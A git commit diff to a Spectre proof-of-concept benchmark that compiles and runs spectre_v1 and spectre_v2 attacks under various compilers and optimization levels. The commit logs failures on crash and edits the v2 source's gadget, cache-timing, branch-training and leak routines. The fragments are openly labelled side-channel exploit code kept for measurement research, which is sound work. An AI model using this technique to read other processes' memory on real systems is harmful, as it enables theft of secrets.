In case of segfault, log a failure instead of nothing.

This commit is contained in:
Samuel Aubertin 2022-01-28 09:53:12 +01:00
parent b2421448a9
commit 64f0c6b318
2 changed files with 9 additions and 26 deletions

View File

@ -22,7 +22,7 @@ DEPENDENCIES := $(foreach exec,$(EXECUTABLES), $(if $(shell which $(exec) 2> /de
### Generic flags
SRCS= spectre_v1 spectre_v2
CFLAGS= -march=native -g
CFLAGS= -march=native
CFLAGS+= -W
CFLAGS+= -Wall
CFLAGS+= -Werror -Wextra
@ -32,7 +32,7 @@ LDFLAGS= -fuse-ld=lld
### Octopus flags
CCS= clang gcc
OPTIMIZATIONS= 0 1 2 3
OPTIMIZATIONS= 0 1 2 3 fast s
RETPOLINE= mretpoline
UUID:= $(shell uuid)
RESULTS_FILE:= results-$(UUID).json
@ -148,7 +148,7 @@ $(RESULTS_FILE): build
for p in $(PROGS); do \
for t in $$(seq $(TIMES)); do \
sleep 0.1; \
taskset 01 ./$$p $(FLAGS) >> $@; \
(taskset 01 ./$$p $(FLAGS) || printf "{ \"$$p\": false }")>> $@; \
if ! [ "$$p" = "$(lastword $(PROGS))" ]; \
then echo ',' >> $@; \
else if ! [ $$t -eq $(TIMES) ]; \

View File

@ -94,7 +94,7 @@ unsigned cache_hit_threshold;
int
gadget(
char *addr
)
)
{
return channel[*addr * GAP]; // speculative loads fetch data into the cache
}
@ -113,7 +113,7 @@ timed_access(
{
uint64_t t0, t1;
#pragma GCC diagnostic ignored "-Wuninitialized"
unsigned int junk = junk;
unsigned int junk;
#ifndef NORDTSCP
t0 = __rdtscp(& junk);
junk |= *addr;
@ -187,7 +187,8 @@ victim_function(
int input
)
{
int junk = 0;
#pragma GCC diagnostic ignored "-Wuninitialized"
unsigned int junk = junk;
// set up branch history buffer (bhb) by performing >29 taken branches
// see https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html
// for details about how the branch prediction mechanism works
@ -207,7 +208,7 @@ victim_function(
return result & junk;
}
void
static inline void
leak(
char *target_addr,
uint8_t value[2],
@ -237,7 +238,7 @@ leak(
#ifndef NOMFENCE
_mm_mfence();
#endif
for (j = 50; j > 0; j--) {
junk ^= victim_function(&dummy, 0);
}
@ -388,17 +389,6 @@ main(
#else
printf("\"clflush\": false ");
#endif
printf("}, \"mitigations\": { ");
#ifdef LFENCE_MITIGATION
printf("\"lfence\": true, ");
#else
printf("\"lfence\": false, ");
#endif
#ifdef MASKING_MITIGATION
printf("\"masking\": true ");
#else
printf("\"masking\": false ");
#endif
printf("}, ");
printf("\"threshold\": %d, ", cache_hit_threshold);
printf("\"success\": %.0f } }",
@ -416,16 +406,9 @@ main(
#ifndef NOCLFLUSH
fprintf(stderr, "CLFLUSH ");
#endif
#ifdef LFENCE_MITIGATION
fprintf(stderr, "LFENCE_MITIGATION ");
#endif
#ifdef MASKING_MITIGATION
fprintf(stderr, "MASKING_MITIGATION ");
#endif
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n",
cache_hit_threshold,
100 * successes / (float)strlen(secret));
target = 0;
free(target);
return 0;
}